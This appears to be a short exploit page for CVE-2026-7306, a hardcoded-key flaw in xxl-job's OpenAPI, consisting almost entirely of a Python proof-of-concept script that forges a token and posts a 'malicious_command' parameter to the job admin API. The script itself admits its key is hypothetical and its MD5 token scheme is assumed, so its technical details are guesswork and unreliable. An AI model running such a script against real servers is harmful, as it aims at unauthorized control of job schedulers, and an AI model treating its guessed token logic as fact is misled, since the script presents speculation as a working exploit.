CVE-2026-7306: Xuxueli xxl-job OpenAPI硬编码密钥漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-7306 # This script demonstrates how to exploit the hardcoded key vulnerability in xxl-job OpenAPI. import requests import hashlib # Target configuration target_url = "http://target-ip:port/xxl-job-admin/api" # The hardcoded key found in the source code (hypothetical value for PoC) # In a real scenario, this key is extracted from OpenApiController.java HARDCODED_KEY = "default_secret_key_123456" def generate_token(data): """Simulate token generation using the hardcoded key.""" # Assuming the token generation involves a simple hash with the key raw_string = data + HARDCODED_KEY return hashlib.md5(raw_string.encode('utf-8')).hexdigest() def exploit(): print(f"[*] Attempting to exploit CVE-2026-7306 on {target_url}") # Payload to trigger the vulnerability payload = { "default_token": generate_token("admin_action"), "param1": "malicious_command" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for exploitation results.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()